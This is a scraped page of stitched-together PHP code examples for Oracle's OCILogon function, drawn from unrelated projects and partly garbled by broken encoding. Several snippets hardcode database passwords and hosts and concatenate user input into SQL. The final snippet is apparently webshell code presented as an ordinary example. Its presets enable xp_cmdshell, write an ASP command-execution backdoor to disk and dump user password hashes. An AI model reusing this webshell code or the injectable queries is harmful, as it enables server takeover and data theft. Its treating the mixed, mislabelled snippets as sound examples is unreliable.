/**
  * Método de conexão com o banco de dados mysql
  * @name  __conecta
  * @return Object
  * @access  Protected
  * @author  Paulo Teixeira
  * @package  connectionDb
  */
 public function __conecta()
 {
     global $typedb;
     $this->datasource = "FW";
     $this->host = "localhost";
     //$this -> username = "******";
     $this->username = "******";
     $this->senha = "090302";
     //$this -> dbName = "xe";
     //$this -> port = 1521;
     $this->dbName = "infinitum_eprocurement";
     $this->port = 3306;
     if ($this->typedb == "mysql") {
         $this->mysql = new mysqli($this->host, $this->username, $this->senha, $this->dbName, $this->port);
         return $this->mysql;
     }
     if ($this->typedb == "oracle") {
         $this->dbDescription = "(DESCRIPTION=";
         $this->dbDescription .= " (ADDRESS_LIST=";
         $this->dbDescription .= "     (ADDRESS=(PROTOCOL=TCP)";
         $this->dbDescription .= "        (HOST={$this->host})(PORT={$this->port})";
         $this->dbDescription .= "     )";
         $this->dbDescription .= " )";
         $this->dbDescription .= " (CONNECT_DATA=(SERVICE_NAME={$this->dbName}))";
         $this->dbDescription .= ")";
         if ($this->oracle = OCILogon($this->username, $this->senha, $this->dbDescription)) {
             return $this->oracle;
         } else {
             $this->err = OCIError();
             return false;
         }
     }
 }
function click_insert($B_code)
{
	include("./include/config.inc.php");
	$connect = OCILogon($dbuser,$dbpass,$db);
	$strSQL = "INSERT INTO BIN_SELL ";
	$strSQL .="(BARCODE) ";
	$strSQL .="VALUES ";
	$strSQL .="('".$B_code."') ";
	$objParse = oci_parse ($connect, $strSQL);
	$objExecute = oci_execute($objParse, OCI_DEFAULT);
	if($objExecute)
{
	oci_commit($connect); //*** Commit Transaction ***//
	echo "Save Done.";
	$_SESSION["check"]=1;
}
else
{
	oci_rollback($connect); //*** RollBack Transaction ***//
	echo "Error Save [".$strSQL."";
	$check_in = 0;
}

oci_close($connect);
}
Ejemplo n.º 3
0
 public function openConnection()
 {
     $ret = 0;
     if (!($ret = OCILogon($this->user, $this->pass, $this->base))) {
         throw new Exception("Error connect OCI");
     }
     return $ret;
 }
Ejemplo n.º 4
0
function get_oracle_db()
{
    global $oracle_db;
    if (!is_object($oracle_db)) {
        $oracle_db = OCILogon('hoau_web', 'wtnt2008', '//192.168.1.240/hydb');
    }
    return $oracle_db;
}
Ejemplo n.º 5
0
 function connect()
 {
     $this->conn = OCILogon($this->db_user, $this->db_pwd, $this->db_name);
     $cmd = "alter session set nls_date_format = 'DD/MM/YYYY'";
     $query = OCIParse($this->conn, $cmd);
     OCIExecute($query);
     OCIcommit($this->conn);
     return $this->conn;
 }
Ejemplo n.º 6
0
 public function open($save_path, $name)
 {
     self::$_lifeTime = get_cfg_var("session.gc_maxlifetime");
     try {
         self::$_db = OCILogon(self::$_conn["params"]["username"], self::$_conn["params"]["password"], self::$_conn["params"]["dbname"], 'AL32UTF8');
     } catch (Exception $e) {
         self::$_db = $e;
     }
     return self::$_db;
 }
Ejemplo n.º 7
0
 function connect($db_host, $db_user, $db_pwd, $db_name, $pconnect)
 {
     $this->conn = OCILogon($db_user, $db_pwd, $db_name);
     $this->user = $db_user;
     $this->pwd = $db_pwd;
     $this->base = $db_name;
     $cmd = "alter session set nls_date_format = 'DD/MM/YYYY'";
     $query = OCIParse($this->conn, $cmd);
     OCIExecute($query);
     OCIcommit($this->conn);
     return $this->conn;
 }
Ejemplo n.º 8
0
 function GetInformations()
 {
     //    $query = "select log_nom,log_prenom,log_fonction,log_fonctions, log_equipes,log_uf,log_uid from hopi.log where log_idsession = ".$this->hopisession ;
     $query = "select * from hopi.log where log_idsession = " . $this->hopisession;
     if (function_exists('OCILogon')) {
         $conn = @OCILogon("hopi", "hopi", "hopi");
         $stmt = @OCIParse($conn, $query);
         @OCIExecute($stmt);
         $nrows = @OCIFetchStatement($stmt, $results);
         $ldap = new clAuthLdap();
         if ($nrows > 0) {
             $_POST['login'] = $results["LOG_UID"][0];
             $ldap->valide('noBind');
             $_SESSION['hopisession'] = '';
             return $ldap->getInformations();
         }
         /*
         if ( $nrows > 0 ) {
           $log[uid] = $results["LOG_UID"][0] ;
         
           $log[nom] = $results["LOG_NOM"][0] ;
           $log[prenom] = $results["LOG_PRENOM"][0] ;
           $log[fonction] = $results["LOG_FONCTION"][0] ;
           $log[fonctions] = explode ( ',', $results["LOG_FONCTIONS"][0] ) ;
           $log[equipes] = explode ( ',', $results["LOG_EQUIPES"][0] ) ;
           $log[uf] = $results["LOG_UF"][0] ;
         	$log[org] = $results["LOG_ORGANISATION"][0] ;
         } else { $log = "false" ; }
         $infos[type]   = "Hopi" ;
         $infos[nom]    = $log[nom] ;
         $infos[prenom] = $log[prenom] ;
         $infos[iduser] = $log[uid] ;
         $infos[pseudo] = "Hopi (".$log[uid].")" ;
         $infos[mail]   = $log[uid]."@ch-hyeres.fr" ;
         $infos[uf]     = explode ( ",", str_ireplace ( "'", '', $results["LOG_UF"][0] ) ) ;
         $infos[org]    = $log[org] ;
         
         // Récupération de la liste des groupes.
         for ( $i = 0 ; isset ( $log[equipes][$i] ) ; $i++ ) $or_equipes .= " OR nomgroupe='".$log[equipes][$i]."'" ;
         for ( $i = 0 ; isset ( $log[fonctions][$i] ) ; $i++ ) $or_fonctions .= " OR nomgroupe='".$log[fonctions][$i]."'" ;
         $param[cw] = "where nomgroupe='HOPI' OR nomgroupe='".$log[uid]."' OR nomgroupe='".$log[fonction]."' $or_equipes $or_fonctions" ;
         $req = new clResultQuery ;
         $res = $req -> Execute ( "Fichier", "getGroupes", $param, "ResultQuery" ) ;
         $infos[idgroupe] = $res[idgroupe][0] ;
         for ( $j = 1 ; isset ( $res[idgroupe][$j] ) ; $j++ ) {
           $infos[idgroupe] .= ",".$res[idgroupe][$j] ;
         }
         //print "<br>Groupe(s) : ".$infos[idgroupe] ;
         */
         @oci_close($conn);
         return $infos;
     }
 }
Ejemplo n.º 9
0
 function DBOracle($dbuser, $dbpassword, $dbname)
 {
     $this->dbh = OCILogon($dbuser, $dbpassword, $dbname);
     if (!$this->dbh) {
         $this->print_error("<ol><b>错误:不能建立数据库连接!</b><li>是否输入了正确的用户名和密码?<li>是否输入了正确的主机名?<li>数据库服务器是否运行?<li></ol>");
     } else {
         // 初始化连接属性以备以后选择新数据库使用
         $this->dbuser = $dbuser;
         $this->dbpassword = $dbpassword;
         $this->dbname = $dbname;
     }
 }
 /**
  *	Function that makes the actual connection.
  *
  *  @returns    Boolean indicating if the connection was succesfull or not.
  */
 function connect()
 {
     if ($this->_conn == null) {
         $conn = @OCILogon($this->_user, $this->_pass, $this->_db);
         if (!$conn) {
             return false;
         }
         $this->_conn = $conn;
         $stmt = OCIParse($this->_conn, 'ALTER SESSION SET NLS_DATE_FORMAT=\'' . $this->_NLS_DATE_FORMAT . '\'');
         @OCIExecute($stmt);
     }
     return true;
 }
 /**
  *	Function that makes the actual connection.
  */
 function connect()
 {
     if ($this->_conn == null) {
         $conn = @OCILogon($this->_user, $this->_pass, $this->_db);
         if (!$conn) {
             $error = ocierror($conn);
             trigger_error($error['message'], YD_ERROR);
         }
         $this->_conn = $conn;
         $stmt = OCIParse($this->_conn, 'ALTER SESSION SET NLS_DATE_FORMAT=\'' . $this->_NLS_DATE_FORMAT . '\'');
         @OCIExecute($stmt);
     }
 }
Ejemplo n.º 12
0
 function db($dbuser, $dbpassword, $dbname, $dbhost = '', $dbport = '')
 {
     $dbport = $dbport ? ':' . $dbport : '';
     $dbname = $dbhost ? "//{$dbhost}{$dbport}/{$dbname}" : $dbname;
     $this->dbh = @OCILogon($dbuser, $dbpassword, $dbname);
     if (!$this->dbh) {
         $this->print_error("Error", "<ol><b>Error establishing a database connection!</b><li>Are you sure you have the correct user/password?<li>Are you sure that you have typed the correct database instance name?<li>Are you sure that the database server is running?</ol>");
     } else {
         // Remember these values for the select function
         $this->dbuser = $dbuser;
         $this->dbpassword = $dbpassword;
         $this->dbname = $dbname;
     }
 }
Ejemplo n.º 13
0
 function connect()
 {
     //ïðîâåðêà ñîåäèíåíèÿ ñ ÁÄ
     if ($this->connection) {
         echo "ïîïûòêà ïîâòîðíîãî ïðèñîåäèíåíèÿ ê áàçå äàííûõ";
         return true;
     }
     //if
     $this->con = OCILogon($this->login, $this->psswd, $this->db);
     if (!$this->con) {
         echo "Îøèáêà ïðè ïðèñîåäèíåíèè ê áàçå äàííûõ";
         return false;
     }
     //if
     return $this->con;
 }
 function Connect($conn = '')
 {
     global $dcl_domain_info, $dcl_domain;
     if ($conn == "") {
         if (!defined('DCL_DB_CONN')) {
             $this->conn = OCILogon($dcl_domain_info[$dcl_domain]['dbUser'], $dcl_domain_info[$dcl_domain]['dbPassword'], $dcl_domain_info[$dcl_domain]['dbName']);
             if ($this->conn) {
                 $this->Execute("alter session set NLS_DATE_FORMAT='YYYY-MM-DD HH24:MI:SS'");
                 define('DCL_DB_CONN', $this->conn);
             }
         } else {
             $this->conn = DCL_DB_CONN;
         }
         if (!$this->conn) {
             return $this->ReportError(null, 0);
         }
         return $this->conn;
     }
 }
Ejemplo n.º 15
0
 /**
  * db::dbconnect()		Just connect to DB
  * 
  * @param string $hostName
  * @param string $dbUser
  * @param string $dbPwd
  * @param string $dbName
  * @param string $port
  * @return 
  **/
 function dbconnect($hostName = "", $dbUser = "", $dbPwd = "", $dbName = "", $port = "", $dbType = "")
 {
     global $GonxAdmin;
     if ($hostName != "") {
         $this->hostName = $hostName;
     }
     if ($dbUser != "") {
         $this->dbUser = $dbUser;
     }
     if ($dbPwd != "") {
         $this->dbPwd = $dbPwd;
     }
     if ($dbName != "") {
         $this->dbName = $dbName;
     }
     if ($port != "") {
         $this->hostport = $port;
     }
     if ($dbType != "") {
         $this->dbType = $dbType;
     }
     switch ($this->dbType) {
         case "mysql":
             $this->Link_ID = @mysql_connect($this->hostName, $this->dbUser, $this->dbPwd) or die(_CONNECTION_ERROR_);
             @mysql_select_db($this->dbName) or die(_CONNECTION_ERROR_ . $this->error() . "<br><br>");
             break;
         case "postgresql":
             $this->Link_ID = @pg_connect("host=" . $this->hostName . " dbname=" . $this->dbName . " port=" . $this->db_port . " user="******" password="******"oracle":
             $this->Link_ID = @OCILogon($this->dbUser, $this->dbPwd, $this->dbName);
             break;
         case "sqlite":
             break;
         case "mssql":
             $this->Link_ID = @mssql_connect($this->hostName, $this->dbUser, $this->dbPwd) or die(_CONNECTION_ERROR_);
             @mssql_select_db($this->dbName) or die(_CONNECTION_ERROR_ . $this->error() . "<br><br>");
             break;
     }
     // switch
     return $this->Link_ID;
 }
Ejemplo n.º 16
0
 function connect($dbuser = '', $dbpassword = '', $dbname = '')
 {
     global $ezsql_oracle8_9_str;
     $return_val = false;
     // Must have a user and a password
     if (!$dbuser || !$dbpassword || !$dbname) {
         $this->register_error($ezsql_oracle8_9_str[1] . ' in ' . __FILE__ . ' on line ' . __LINE__);
         $this->show_errors ? trigger_error($ezsql_oracle8_9_str[1], E_USER_WARNING) : null;
     } else {
         if (!($this->dbh = OCILogon($dbuser, $dbpassword, $dbname))) {
             $this->register_error($php_errormsg);
             $this->show_errors ? trigger_error($php_errormsg, E_USER_WARNING) : null;
         } else {
             $this->dbuser = $dbuser;
             $this->dbpassword = $dbpassword;
             $this->dbname = $dbname;
             $return_val = true;
         }
     }
     return $return_val;
 }
Ejemplo n.º 17
0
 function init()
 {
     global $DOCUMENT_ROOT, $ADODB_SESSION_DRIVER, $ADODB_SESSION_CONNECT, $ADODB_SESSION_USER, $ADODB_SESSION_PWD, $ADODB_SESSION_DB, $ADODB_CACHE_DIR;
     $dbase = $this->dbase;
     $user = $this->user;
     $pass = $this->pass;
     //USING ADODB SESSION HANDLER
     $ADODB_SESSION_DRIVER = "oci8";
     $ADODB_SESSION_CONNECT = "";
     $ADODB_SESSION_USER = $user;
     $ADODB_SESSION_PWD = $pass;
     $ADODB_SESSION_DB = $dbase;
     $ADODB_CACHE_DIR = "{$DOCUMENT_ROOT}/tmp/";
     include_once "{$DOCUMENT_ROOT}/classes/adodb/adodb.inc.php";
     include_once "{$DOCUMENT_ROOT}/classes/adodb/adodb-session-clob.php";
     session_start();
     $conn = OCILogon($user, $pass, $dbase);
     if (!$conn) {
         $this->error("connection not establish");
     }
     $this->conn = $conn;
     return true;
 }
Ejemplo n.º 18
0
	function _connect($argHostname, $argUsername, $argPassword, $argDatabasename,$mode=0)
	{
		if (!function_exists('OCIPLogon')) return null;


        $this->_errorMsg = false;
		$this->_errorCode = false;

		if($argHostname) { // added by Jorma Tuomainen <*****@*****.**>
			if (empty($argDatabasename)) $argDatabasename = $argHostname;
			else {
				if(strpos($argHostname,":")) {
					$argHostinfo=explode(":",$argHostname);
				   	$argHostname=$argHostinfo[0];
					$argHostport=$argHostinfo[1];
			 	} else {
					$argHostport = empty($this->port)?  "1521" : $this->port;
	   			}

				if ($this->connectSID) {
					$argDatabasename="(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=".$argHostname
					.")(PORT=$argHostport))(CONNECT_DATA=(SID=$argDatabasename)))";
				} else
					$argDatabasename="(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=".$argHostname
					.")(PORT=$argHostport))(CONNECT_DATA=(SERVICE_NAME=$argDatabasename)))";
			}
		}

 		//if ($argHostname) print "<p>Connect: 1st argument should be left blank for $this->databaseType</p>";
		if ($mode==1) {
			$this->_connectionID = ($this->charSet) ?
				OCIPLogon($argUsername,$argPassword, $argDatabasename,$this->charSet)
				:
				OCIPLogon($argUsername,$argPassword, $argDatabasename)
				;
			if ($this->_connectionID && $this->autoRollback)  OCIrollback($this->_connectionID);
		} elseif ($mode==2) {
			$this->_connectionID = ($this->charSet) ?
				OCINLogon($argUsername,$argPassword, $argDatabasename,$this->charSet)
				:
				OCINLogon($argUsername,$argPassword, $argDatabasename);

		} else {
			$this->_connectionID = ($this->charSet) ?
				OCILogon($argUsername,$argPassword, $argDatabasename,$this->charSet)
				:
				OCILogon($argUsername,$argPassword, $argDatabasename);
		}
		if (!$this->_connectionID) return false;
		if ($this->_initdate) {
			$this->Execute("ALTER SESSION SET NLS_DATE_FORMAT='".$this->NLS_DATE_FORMAT."'");
		}

		// looks like:
		// Oracle8i Enterprise Edition Release 8.1.7.0.0 - Production With the Partitioning option JServer Release 8.1.7.0.0 - Production
		// $vers = OCIServerVersion($this->_connectionID);
		// if (strpos($vers,'8i') !== false) $this->ansiOuter = true;
		return true;
   	}
Ejemplo n.º 19
0
 function CreateOracle()
 {
     if ($this->_266681215) {
         $_1095407648 = @OCILogon($this->_1052962756, $this->_978207489, $this->dbName);
     } else {
         $_1095407648 = @OCILogon($this->_1229651704, $this->_1089032747, $this->dbName);
     }
     if (!$_1095407648) {
         $_535494841 = OCIError();
         $this->SetError(InstallGetMessage(___1890932495(1050)) . ___1890932495(1051) . $_535494841[___1890932495(1052)] . ___1890932495(1053));
         return false;
     }
     if ($this->utf8) {
         $_1419795141 = ___1890932495(1054);
         $_1286961457 = @OCIParse($_1095407648, $_1419795141);
         $_573568295 = array();
         if (!$_1286961457 || !@OCIExecute($_1286961457) || !OCIFetchstatement($_1286961457, $_573568295, 214 * 2 - 428, -round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2), OCI_FETCHSTATEMENT_BY_ROW)) {
             $_698150088 = OCIError($_1286961457);
             $this->SetError(InstallGetMessage(___1890932495(1055)) . ($_698150088[___1890932495(1056)] ? ___1890932495(1057) . $_698150088[___1890932495(1058)] . ___1890932495(1059) : ___1890932495(1060)));
             return false;
         }
         $_594398482 = array(___1890932495(1061) => ___1890932495(1062), ___1890932495(1063) => ___1890932495(1064));
         foreach ($_573568295 as $_12953696) {
             $_594398482[$_12953696[___1890932495(1065)]] = $_12953696[___1890932495(1066)];
         }
         $_1731792941 = array(___1890932495(1067), ___1890932495(1068));
         if ($_594398482[___1890932495(1069)] != ___1890932495(1070) || !$GLOBALS['____813922723'][252]($_594398482[___1890932495(1071)], $_1731792941)) {
             $this->SetError(InstallGetMessage(___1890932495(1072)));
             return false;
         }
     }
     if ($this->_266681215) {
         $_1419795141 = ___1890932495(1073) . $this->_1229651704 . ___1890932495(1074) . $this->_1089032747 . ___1890932495(1075);
         $_1286961457 = @OCIParse($_1095407648, $_1419795141);
         if (!$_1286961457 || !@OCIExecute($_1286961457)) {
             $_698150088 = OCIError($_1286961457);
             $this->SetError(InstallGetMessage(___1890932495(1076)) . ($_698150088[___1890932495(1077)] ? ___1890932495(1078) . $_698150088[___1890932495(1079)] . ___1890932495(1080) : ___1890932495(1081)));
             return false;
         }
         $_1419795141 = ___1890932495(1082) . $this->_1229651704;
         $_1286961457 = @OCIParse($_1095407648, $_1419795141);
         if (!$_1286961457 || !@OCIExecute($_1286961457)) {
             $_698150088 = OCIError($_1286961457);
             $this->SetError(InstallGetMessage(___1890932495(1083)) . ($_698150088[___1890932495(1084)] ? ___1890932495(1085) . $_698150088[___1890932495(1086)] . ___1890932495(1087) : ___1890932495(1088)));
             return false;
         }
         $_1419795141 = ___1890932495(1089) . $this->_1229651704;
         $_1286961457 = @OCIParse($_1095407648, $_1419795141);
         @OCIExecute($_1286961457);
     }
     $_1286961457 = @OCIParse($_1095407648, ___1890932495(1090));
     @OCIExecute($_1286961457);
     $_1286961457 = @OCIParse($_1095407648, ___1890932495(1091));
     @OCIExecute($_1286961457);
     if ($GLOBALS['____813922723'][253](___1890932495(1092)) || isset($_COOKIE[___1890932495(1093)]) && $_COOKIE[___1890932495(1094)] == ___1890932495(1095)) {
         $_1130027149 = ___1890932495(1096);
     }
     $_1286961457 = @OCIParse($_1095407648, $_1130027149);
     @OCIExecute($_1286961457);
     return true;
 }
Ejemplo n.º 20
0
<?php

$db_conn = OCILogon("ora_c2e8", "a42375105", "ug");
// Changing the format of Oracle's timestamp data for more friendly look,
// mode 1 for timestamp, mode 2 for intervals (result of algebraic operations on timestamps)
function parseDate($value, $mode)
{
    if ($mode == 1) {
        return substr($value, 0, 17);
    }
    if ($mode == 2) {
        return substr($value, 10, 9);
    }
    if ($mode == 3) {
        return substr($date, 0, 10) . substr($date, 11);
    }
}
// Coordinate printing of detailed information regarding each flight on the search result when clicked
// JSenable: 1 to use the HTML/JS toggle details, 0 to turn off (show as plain text)
function printDetails($route, $it, $JSenable)
{
    if ($JSenable) {
        echo "<a href='#' class='toggler' detail-num='{$it}'>Details</a>" . "<a class='detail{$it}' style='display:none'>";
    }
    if (array_key_exists('FIRSTID', $route)) {
        $firstid = $route['FIRSTID'];
        printDetailsHelper($firstid);
    }
    if (array_key_exists('SECONDID', $route)) {
        $secondid = $route['SECONDID'];
        printLayOver($firstid, $secondid);
Ejemplo n.º 21
0
function update_main()
{
	include("./include/config.inc.php");
	//echo count($barcode_a);
	for($i=0;$i<count($barcode_a);$i++)
	{
	$unit_sum=$unit_a[$i]+$unit_ab[$i];
	//echo $unit_sum;
	//echo $barcode_a[$i];
	$connect1 = OCILogon($dbuser,$dbpass,$db);
	$strSQL1 = "UPDATE BRANCH SET UNIT_B = ".$unit_sum." WHERE BARCODE = '".$barcode_a[$i]."' ";
	$objParse = oci_parse($connect1, $strSQL1);
	$objExecute = oci_execute($objParse, OCI_DEFAULT);
	
if($objExecute)
{
	oci_commit($connect1); //*** Commit Transaction ***//
	echo "Save Done.";
}
else
{
	oci_rollback($connect1); //*** RollBack Transaction ***//
	echo "Error Save [".$strSQL1."]";
}
oci_close($connect1);
	}

}
Ejemplo n.º 22
0



    </div>
  </div>
  <div class="Align_Used">
    <div class="Titles">Alineacion</div>
    <div id="ColumTeamA" class="Column">





<?php 
$conn = OCILogon($user, $pass, $db);
// $idPartido=10;
$alin1 = 0;
$alin2 = 0;
$outrefc = ocinewcursor($conn);
//Declare cursor variable
$mycursor = ociparse($conn, "begin getPotisions(:curs,'{$alin1}'); end;");
// prepare procedure call
ocibindbyname($mycursor, ':curs', $outrefc, -1, OCI_B_CURSOR);
// bind procedure parameters
$ret = ociexecute($mycursor);
// Execute function
$ret = ociexecute($outrefc);
// Execute cursor
$nrows = ocifetchstatement($outrefc, $pos1);
// fetch data from cursor
Ejemplo n.º 23
0
function setnewcart(){
	include("./include/config.inc.php");
	$connect = OCILogon($dbuser,$dbpass,$db);
	$strSQL = "truncate table bin_sell";
	$objParse = oci_parse ($connect, $strSQL);
	$objExecute = oci_execute($objParse, OCI_DEFAULT);
	if($objExecute)
{
	oci_commit($connect); //*** Commit Transaction ***//
	//echo "Record Deleted.";
}
else
{
	oci_rollback($connect); //*** RollBack Transaction ***//
	echo "Error Save [".$strSQL."";
}
oci_close($connect);
//header( 'refresh: 5; url=testjquery.php' );
//header("Location: testjquery.php");
}
Ejemplo n.º 24
0
function otherdb()
{
    $db = isset($_GET['db']) ? $_GET['db'] : 'ms';
    print <<<END
<form method="POST" name="dbform" id="dbform" action="?s=gg&db={$db}" enctype="multipart/form-data">
<div class="actall">
<a href="?s=gg&db=ms"> &nbsp MSSQL &nbsp</a>
<a href="?s=gg&db=ora"> &nbsp Oracle &nbsp</a>
<a href="?s=gg&db=ifx"> &nbsp InforMix &nbsp</a>
<a href="?s=gg&db=fb"> &nbsp  FireBird &nbsp</a>
<a href="?s=gg&db=db2">&nbsp DB2 &nbsp</a></div></form>
END;
    if ($db == "ms") {
        $mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost';
        $msuser = isset($_POST['msuser']) ? $_POST['msuser'] : '******';
        $mspass = isset($_POST['mspass']) ? $_POST['mspass'] : '';
        $msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master';
        $msaction = isset($_POST['action']) ? $_POST['action'] : '';
        $msquery = isset($_POST['mssql']) ? $_POST['mssql'] : '';
        $msquery = stripslashes($msquery);
        print <<<END
<div class="actall">
<form method="POST" name="msform" action="?s=gg&db=ms">
Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px">
User:<input type="text" name="msuser" value="{$msuser}" style="width:100px">
Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px">
Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br>
<script language="javascript">
function msFull(i){
\tStr = new Array(11);
\tStr[0] = "";
\tStr[1] = "select @@version;";
\tStr[2] = "select name from sysdatabases;";
\tStr[3] = "select name from sysobject where type='U';";
\tStr[4] = "select name from syscolumns where id=Object_Id('table_name');";
\tStr[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');";
\tStr[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');";
\tStr[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;";
\tStr[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;";
\tStr[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;";
\tStr[10] = "Exec master.dbo.xp_cmdshell 'net user';";
\tStr[11] = "Declare @s  int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';";
\tStr[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' ";
\tmsform.mssql.value = Str[i];
\treturn true;
}
</script>
<textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br>
<select onchange="return msFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">��ʾ�汾</option>
\t<option value="2">���ݿ�</option>
\t<option value="3">����</option>
\t<option value="4">�ֶ�</option>
\t<option value="5">sp_oacreate</option>
\t<option value="6">xp_cmdshell</option>
\t<option value="7">xp_cmdshell(2005)</option>
\t<option value="8">sp_oacreate(2005)</option>
\t<option value="9">����openrowset(2005)</option>
\t<option value="10">xp_cmdshell exec</option>
\t<option value="10">sp_oamethod exec</option>
\t<option value="11">sp_makewebtask</option>
</select>
<input type="hidden" name="action" value="msquery">
<input class="bt" type="submit" value="Query"></form></div>
END;
        if ($msaction == 'msquery') {
            $msconn = mssql_connect($mshost, $msuser, $mspass);
            mssql_select_db($msdbname, $msconn) or die("connect error :" . mssql_get_last_message());
            $msresult = mssql_query($msquery) or die(mssql_get_last_message());
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
                echo '<td><b>' . mssql_field_name($msresult, $i) . "</b></td>\n";
            }
            echo "</tr>\n";
            mssql_data_seek($result, 0);
            while ($msrow = mssql_fetch_row($msresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
                    echo '<td>' . "{$msrow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            mssql_free_result($msresult);
            mssql_close();
        }
    } elseif ($db == "ora") {
        $orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost';
        $oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521';
        $orauser = isset($_POST['orauser']) ? $_POST['orauser'] : '******';
        $orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '******';
        $orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL';
        $oraaction = isset($_POST['action']) ? $_POST['action'] : '';
        $oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : '';
        $oraquery = stripslashes($oraquery);
        print <<<END
<form method="POST" name="oraform" action="?s=gg&db=ora">
<div class="actall">
Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px">
Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px">
User:<input type="text" name="orauser" value="{$orauser}" style="width:80px">
Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px">
SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br>
<script language="javascript">
function oraFull(i){
Str = new Array(5);
\tStr[0] = "";
\tStr[1] = "select version();";
\tStr[2] = "SELECT NAME FROM V{$DATABASE}";
\tStr[3] = "select * From all_objects where object_type='TABLE'";
\tStr[4] = "select column_name from user_tab_columns where table_name='table1'";
\toraform.orasql.value = Str[i];
\treturn true;
}
</script>
<textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br>
<select onchange="return oraFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">��ʾ�汾</option>
\t<option value="2">���ݿ�</option>
\t<option value="3">����</option>
\t<option value="4">�ֶ�</option>
</select>
<input type="hidden" name="action" value="myquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($oraaction == 'oraquery') {
            $oralink = OCILogon($orauser, $orapass, "(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST={$orahost})(PORT = {$oraport}))(CONNECT_DATA =(SID={$orasid})))") or die(ocierror());
            $oraresult = ociparse($oralink, $oraquery) or die(ocierror());
            $orarow = oci_fetch_row($oraresult);
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < oci_num_fields($oraresult); $i++) {
                echo '<td><b>' . oci_field_name($oraresult, $i) . "</b></td>\n";
            }
            echo "</tr>\n";
            ociresult($oraresult, 0);
            while ($orarow = ora_fetch_row($oraresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ora_num_fields($result); $i++) {
                    echo '<td>' . "{$orarow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            oci_free_statement($oraresult);
            ocilogoff();
        }
    } elseif ($db == "ifx") {
        $ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : '******';
        $ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '******';
        $ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb';
        $ifxaction = isset($_POST['action']) ? $_POST['action'] : '';
        $ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : '';
        $ifxquery = stripslashes($ifxquery);
        print <<<END
<form method="POST" name="ifxform" action="?s=gg&db=ifx">
<div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px">
User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px">
Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br>
<script language="javascript">
function ifxFull(i){
Str = new Array(11);
\tStr[0] = "";
\tStr[1] = "select dbservername from sysobjects;";
\tStr[2] = "select name from sysdatabases;";
\tStr[3] = "select tabname from systables;";
\tStr[4] = "select colname from syscolumns where tabid=n;";
\tStr[5] = "select username,usertype,password from sysusers;";
\tifxform.ifxsql.value = Str[i];
\treturn true;
}
</script>
<textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br>
<select onchange="return ifxFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�����������</option>
\t<option value="1">���ݿ�</option>
\t<option value="2">����</option>
\t<option value="3">�ֶ�</option>
\t<option value="4">hashes</option>
</select>
<input type="hidden" name="action" value="ifxquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($ifxaction == 'ifxquery') {
            $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg());
            $ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg());
            $ifxrow = ifx_fetch_row($ifxresult);
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                echo '<td><b>' . ifx_fieldproperties($ifxresult) . "</b></td>\n";
            }
            echo "</tr>\n";
            mysql_data_seek($ifxresult, 0);
            while ($ifxrow = ifx_fetch_row($ifxresult)) {
                echo "<tr>\n";
